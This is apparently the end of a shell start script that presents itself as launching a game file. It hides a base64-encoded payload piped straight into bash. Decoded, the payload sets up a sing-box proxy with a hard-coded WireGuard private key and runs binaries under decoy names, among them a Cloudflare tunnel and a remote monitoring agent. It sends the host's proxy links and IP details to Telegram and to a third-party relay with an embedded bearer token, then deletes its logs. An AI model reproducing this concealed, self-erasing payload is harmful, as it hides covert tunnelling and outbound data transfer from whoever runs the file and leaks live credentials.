CAgICB9CiAgICAgICAgICB9CiAgICAgIH0KICAgXSwKICAib3V0Ym91bmRzIjogWwogICAgewogICAgICAidHlwZSI6ICJkaXJlY3QiLAogICAgICAidGFnIjogImRpcmVjdCIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogImJsb2NrIiwKICAgICAgInRhZyI6ICJibG9jayIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogIndpcmVndWFyZCIsCiAgICAgICJ0YWciOiAid2lyZWd1YXJkLW91dCIsCiAgICAgICJzZXJ2ZXIiOiAiMTYyLjE1OS4xOTIuMjAwIiwKICAgICAgInNlcnZlcl9wb3J0IjogNDUwMCwKICAgICAgImxvY2FsX2FkZHJlc3MiOiBbCiAgICAgICAgIjE3Mi4xNi4wLjIvMzIiLAogICAgICAgICIyNjA2OjQ3MDA6MTEwOjhmNzc6MWNhOTpmMDg2Ojg0NmM6NWY5ZS8xMjgiCiAgICAgIF0sCiAgICAgICJwcml2YXRlX2tleSI6ICJ3SXhzemRSMm5NZEE3YTJVbDNYUWNuaVNmU1pxZHFqUGI2dzZvcHZmNUFVPSIsCiAgICAgICJwZWVyX3B1YmxpY19rZXkiOiAiYm1YT0MrRjFGeEVNRjlkeWlLMkg1LzFTVXR6SDBKdVZvNTFoMndQZmd5bz0iLAogICAgICAicmVzZXJ2ZWQiOiBbMTI2LCAyNDYsIDE3M10KICAgIH0KICBdLAogICJyb3V0ZSI6IHsKICAgICJydWxlX3NldCI6IFsKICAgICAgewogICAgICAgICJ0YWciOiAibmV0ZmxpeCIsCiAgICAgICAgInR5cGUiOiAicmVtb3RlIiwKICAgICAgICAiZm9ybWF0IjogImJpbmFyeSIsCiAgICAgICAgInVybCI6ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTWV0YUN1YmVYL21ldGEtcnVsZXMtZGF0L3NpbmcvZ2VvL2dlb3NpdGUvbmV0ZmxpeC5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJvcGVuYWkiLAogICAgICAgICJ0eXBlIjogInJlbW90ZSIsCiAgICAgICAgImZvcm1hdCI6ICJiaW5hcnkiLAogICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01ldGFDdWJlWC9tZXRhLXJ1bGVzLWRhdC9zaW5nL2dlby9nZW9zaXRlL29wZW5haS5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9CiAgICBdLAogICAgInJ1bGVzIjogWwogICAgICB7CiAgICAgICAgInJ1bGVfc2V0IjogWyJuZXRmbGl4IiwgIm9wZW5haSJdLAogICAgICAgICJvdXRib3VuZCI6ICJ3aXJlZ3VhcmQtb3V0IgogICAgICB9CiAgICBdLAogICAgImZpbmFsIjogImRpcmVjdCIKICB9Cn0KRU9GCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBdOyB0aGVuCiAgICBub2h1cCAuLyIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBydW4gLWMgY29uZmlnLmpzb24gPi9kZXYvbnVsbCAyPiYxICYKICAgIHNsZWVwIDIKICAgIGVjaG8gLWUgIlxlWzE7MzJtJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSBpcyBydW5uaW5nXGVbMG0iCmZpCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbYm90XX0pIiBdOyB0aGVuCiAgICBpZiBbWyAkQVJHT19BVVRIID1+IF5bQS1aMC05YS16PV17MTIwLDI1MH0kIF1dOyB0aGVuCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIHJ1biAtLXRva2VuICR7QVJHT19BVVRIfSIKICAgIGVsaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1jb25maWcgdHVubmVsLnltbCBydW4iCiAgICBlbHNlCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIC0tbG9nZmlsZSBib290LmxvZyAtLWxvZ2xldmVsIGluZm8gLS11cmwgaHR0cDovL2xvY2FsaG9zdDokQVJHT19QT1JUIgogICAgZmkKICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkiICRhcmdzID4vZGV2L251bGwgMj4mMSAmCiAgICBzbGVlcCAyCiAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkgaXMgcnVubmluZ1xlWzBtIiAKZmkKCmlmIFsgLW4gIiRORVpIQV9TRVJWRVIiIF0gJiYgWyAtbiAiJE5FWkhBX1BPUlQiIF0gJiYgWyAtbiAiJE5FWkhBX0tFWSIgXTsgdGhlbgogICAgaWYgWyAtZSAiJChiYXNlbmFtZSAke0ZJTEVfTUFQW25wbV19KSIgXTsgdGhlbgoJICB0bHNQb3J0cz0oIjQ0MyIgIjg0NDMiICIyMDk2IiAiMjA4NyIgIjIwODMiICIyMDUzIikKICAgICAgW1sgIiR7dGxzUG9ydHNbKl19IiA9fiAiJHtORVpIQV9QT1JUfSIgXV0gJiYgTkVaSEFfVExTPSItLXRscyIgfHwgTkVaSEFfVExTPSIiCiAgICAgIGV4cG9ydCBUTVBESVI9JChwd2QpCiAgICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkiIC1zICR7TkVaSEFfU0VSVkVSfToke05FWkhBX1BPUlR9IC1wICR7TkVaSEFfS0VZfSAke05FWkhBX1RMU30gPi9kZXYvbnVsbCAyPiYxICYKICAgICAgc2xlZXAgMgogICAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkgaXMgcnVubmluZ1xlWzBtIgogICAgZmkKZWxpZiBbIC1uICIkTkVaSEFfU0VSVkVSIiBdICYmIFsgLW4gIiRORVpIQV9LRVkiIF07IHRoZW4KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtwaHBdfSkiIF07IHRoZW4KICAgICAgbm9odXAgLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3BocF19KSIgLWMgIiR7RklMRV9QQVRIfS9jb25maWcueWFtbCIgPi9kZXYvbnVsbCAyPiYxICYKICAgICAgZWNobyAtZSAiXGVbMTszMm0kKGJhc2VuYW1lICR7RklMRV9NQVBbcGhwXX0pIGlzIHJ1bm5pbmdcZVswbSIKICAgIGZpCmVsc2UKICAgIGVjaG8gLWUgIlxlWzE7MzVtTkVaSEEgdmFyaWFibGUgaXMgZW1wdHksIHNraXBwaW5nIHJ1bm5pbmdcZVswbSIKZmkKZm9yIGtleSBpbiAiJHshRklMRV9NQVBbQF19IjsgZG8KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFska2V5XX0pIiBdOyB0aGVuCiAgICAgICAgcm0gLXJmICIkKGJhc2VuYW1lICR7RklMRV9NQVBbJGtleV19KSIgPi9kZXYvbnVsbCAyPiYxCiAgICBmaQpkb25lCn0KZG93bmxvYWRfYW5kX3J1bgoKZ2V0X2FyZ29kb21haW4oKSB7CiAgaWYgW1sgLW4gJEFSR09fQVVUSCBdXTsgdGhlbgogICAgZWNobyAiJEFSR09fRE9NQUlOIgogIGVsc2UKICAgIGxvY2FsIHJldHJ5PTAKICAgIGxvY2FsIG1heF9yZXRyaWVzPTYKICAgIGxvY2FsIGFyZ29kb21haW49IiIKICAgIHdoaWxlIFtbICRyZXRyeSAtbHQgJG1heF9yZXRyaWVzIF1dOyBkbwogICAgICAoKHJldHJ5KyspKQogICAgICBhcmdvZG9tYWluPSQoc2VkIC1uICdzfC4qaHR0cHM6Ly9cKFteL10qdHJ5Y2xvdWRmbGFyZVwuY29tXCkuKnxcMXxwJyBib290LmxvZykKICAgICAgaWYgW1sgLW4gJGFyZ29kb21haW4gXV07IHRoZW4KICAgICAgICBicmVhawogICAgICBmaQogICAgICBzbGVlcCAxCiAgICBkb25lCiAgICBlY2hvICIkYXJnb2RvbWFpbiIKICBmaQp9CgpzZW5kX3RlbGVncmFtKCkgewogIFsgLWYgIiR7RklMRV9QQVRIfS9zdWIudHh0IiBdIHx8IHJldHVybgogIE1FU1NBR0U9JChjYXQgIiR7RklMRV9QQVRIfS9zdWIudHh0IikKICBMT0NBTF9NRVNTQUdFPSIqJHtOQU1FfeiKgueCueaOqOmAgemAmuefpSpcYFxgXGAke01FU1NBR0V9XGBcYFxgIgogIEJPVF9NRVNTQUdFPSI8Yj4ke05BTUV96IqC54K55o6o6YCB6YCa55+lPC9iPlxuPHByZT4ke01FU1NBR0V9PC9wcmU+IgogIGlmIFsgLW4gIiR7Qk9UX1RPS0VOfSIgXSAmJiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3Qke0JPVF9UT0tFTn0vc2VuZE1lc3NhZ2UiIFwKICAgICAgLWQgImNoYXRfaWQ9JHtDSEFUX0lEfSZ0ZXh0PSR7TE9DQUxfTUVTU0FHRX0mcGFyc2VfbW9kZT1NYXJrZG93biIgPiAvZGV2L251bGwKCiAgZWxpZiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHA6Ly9hcGkudGcuZ3ZyYW5kZXIuZXUub3JnL2FwaS9ub3RpZnkiIFwKICAgICAgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciBlSldSZ3hDNExjem5LTGlVaURvVXN3QG5NZ0RCQ0NTVWs2SXcwUzlQYnMiIFwKICAgICAgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgXAogICAgICAtZCAiJChwcmludGYgJ3siY2hhdF9pZCI6ICIlcyIsICJtZXNzYWdlIjogIiVzIn0nICIke0NIQVRfSUR9IiAiJHtCT1RfTUVTU0FHRX0iKSIgPiAvZGV2L251bGwKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzVtVEcgdmFyaWFibGUgaXMgZW1wdHksc2tpcHBpbmcgc2VudFxlWzBtIgogICAgcmV0dXJuCiAgZmkKCiAgaWYgWyAkPyAtZXEgMCBdOyB0aGVuCiAgICBlY2hvIC1lICJcblxlWzE7MzJtTm9kZXMgc2VudCB0byBURyBzdWNjZXNzZnVsbHlcZVswbSIKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzFtRmFpbGVkIHRvIHNlbmQgbm9kZXMgdG8gVEdcZVswbSIKICBmaQp9Cgp1cGxvZF9ub2RlcygpIHsKICAgIFtbIC16ICRVUExPQURfVVJMIHx8ICEgLWYgIiR7RklMRV9QQVRIfS9saXN0LnR4dCIgXV0gJiYgcmV0dXJuCiAgICBjb250ZW50PSQoY2F0ICR7RklMRV9QQVRIfS9saXN0LnR4dCkKICAgIG5vZGVzPSQoZWNobyAiJGNvbnRlbnQiIHwgZ3JlcCAtRSAnKHZsZXNzfHZtZXNzfHRyb2phbnxoeXN0ZXJpYTJ8dHVpYyk6Ly8nKQogICAgW1sgLXogJG5vZGVzIF1dICYmIHJldHVybgogICAgbm9kZXM9KCRub2RlcykKICAgIGpzb25fZGF0YT0neyJub2RlcyI6IFsnCiAgICBmb3Igbm9kZSBpbiAiJHtub2Rlc1tAXX0iOyBkbwogICAgICAgIGpzb25fZGF0YSs9IlwiJG5vZGVcIiwiCiAgICBkb25lCiAgICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0KICAgIGpzb25fZGF0YSs9J119JwoKICAgIGN1cmwgLVggUE9TVCAiJFVQTE9BRF9VUkwvYXBpL2FkZC1ub2RlcyIgXAogICAgICAgICAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiBcCiAgICAgICAgIC1kICIkanNvbl9kYXRhIiA+IC9kZXYvbnVsbCAyPiYxCgogICAgaWYgW1sgJD8gLWVxIDAgXV07IHRoZW4KICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzJtTm9kZXMgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5XDAzM1swbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzFtRmFpbGVkIHRvIHVwbG9hZCBub2Rlc1wwMzNbMG0iCiAgICBmaQp9CgphcmdvZG9tYWluPSQoZ2V0X2FyZ29kb21haW4pCmVjaG8gLWUgIlxlWzE7MzJtQXJnb0RvbWFpbjpcZVsxOzM1bSR7YXJnb2RvbWFpbn1cZVswbVxuIgpzbGVlcCAxCklQPSQoY3VybCAtcyAtLW1heC10aW1lIDIgaXB2NC5pcC5zYiB8fCBjdXJsIC1zIC0tbWF4LXRpbWUgMSBhcGkuaXBpZnkub3JnIHx8IHsgaXB2Nj0kKGN1cmwgLXMgLS1tYXgtdGltZSAxIGlwdjYuaXAuc2IpOyBlY2hvICJbJGlwdjZdIjsgfSB8fCBlY2hvICJYWFgiKQpJU1A9JChjdXJsIC1zIC0tbWF4LXRpbWUgMiBodHRwczovL3NwZWVkLmNsb3VkZmxhcmUuY29tL21ldGEgfCBhd2sgLUZcIiAne3ByaW50ICQyNiItIiQxOH0nIHwgc2VkIC1lICdzLyAvXy9nJyB8fCBlY2hvICIwLjAiKQoKVk1FU1M9InsgXCJ2XCI6IFwiMlwiLCBcInBzXCI6IFwiJHtOQU1FfS0ke0lTUH1cIiwgXCJhZGRcIjogXCIke0NGSVB9XCIsIFwicG9ydFwiOiBcIiR7Q0ZQT1JUfVwiLCBcImlkXCI6IFwiJHtVVUlEfVwiLCBcImFpZFwiOiBcIjBcIiwgXCJzY3lcIjogXCJub25lXCIsIFwibmV0XCI6IFwid3NcIiwgXCJ0eXBlXCI6IFwibm9uZVwiLCBcImhvc3RcIjogXCIke2FyZ29kb21haW59XCIsIFwicGF0aFwiOiBcIi92bWVzcy1hcmdvP2VkPTI1NjBcIiwgXCJ0bHNcIjogXCJ0bHNcIiwgXCJzbmlcIjogXCIke2FyZ29kb21haW59XCIsIFwiYWxwblwiOiBcIlwiLCBcImZwXCI6IFwiY2hyb21lXCJ9IgoKY2F0ID4gJHtGSUxFX1BBVEh9L2xpc3QudHh0IDw8RU9GCnZtZXNzOi8vJChlY2hvICIkVk1FU1MiIHwgYmFzZTY0IC13MCkKRU9GCgppZiBbICIkVFVJQ19QT1JUIiAhPSAiNDAwMDAiIF07IHRoZW4KICBlY2hvIC1lICJcbnR1aWM6Ly8ke1VVSUR9OmFkbWluQCR7SVB9OiR7VFVJQ19QT1JUfT9zbmk9d3d3LmJpbmcuY29tJmFscG49aDMmY29uZ2VzdGlvbl9jb250cm9sPWJiciMke05BTUV9LSR7SVNQfSIgPj4gJHtGSUxFX1BBVEh9L2xpc3QudHh0CmZpCgppZiBbICIkSFkyX1BPUlQiICE9ICI1MDAwMCIgXTsgdGhlbgogIGVjaG8gLWUgIlxuaHlzdGVyaWEyOi8vJHtVVUlEfUAke0lQfToke0hZMl9QT1JUfS8/c25pPXd3dy5iaW5nLmNvbSZhbHBuPWgzJmluc2VjdXJlPTEjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKaWYgWyAiJFJFQUxJVFlfUE9SVCIgIT0gIjYwMDAwIiBdOyB0aGVuCiAgZWNobyAtZSAiXG52bGVzczovLyR7VVVJRH1AJHtJUH06JHtSRUFMSVRZX1BPUlR9P2VuY3J5cHRpb249bm9uZSZmbG93PXh0bHMtcnByeC12aXNpb24mc2VjdXJpdHk9cmVhbGl0eSZzbmk9d3d3Lm5hemh1bWkuY29tJmZwPWNocm9tZSZwYms9JHtwdWJsaWNfa2V5fSZ0eXBlPXRjcCZoZWFkZXJUeXBlPW5vbmUjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKYmFzZTY0IC13MCAke0ZJTEVfUEFUSH0vbGlzdC50eHQgPiAke0ZJTEVfUEFUSH0vc3ViLnR4dApjYXQgJHtGSUxFX1BBVEh9L3N1Yi50eHQKZWNobyAtZSAiXG5cblxlWzE7MzJtJHtGSUxFX1BBVEh9L3N1Yi50eHQgc2F2ZWQgc3VjY2Vzc2Z1bGx5XGVbMG0iCnVwbG9kX25vZGVzCnNlbmRfdGVsZWdyYW0KZWNobyAtZSAiXG5cZVsxOzMybVJ1bm5pbmcgZG9uZSFcZVswbVxuIgpzbGVlcCAxMiAKY2xlYXIKCnJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiBzYi5sb2cgY29yZSBmYWtlX3VzZXJhZ2VudF8wLjIuMC5qc29uICR7RklMRV9QQVRIfS9saXN0LnR4dCA+L2Rldi9udWxsIDI+JjE=" | base64 -d | bash 22 | 23 | chmod +x ${GAME_FILE} && ./${GAME_FILE} 24 | 25 | # tail -f /dev/null 26 | --------------------------------------------------------------------------------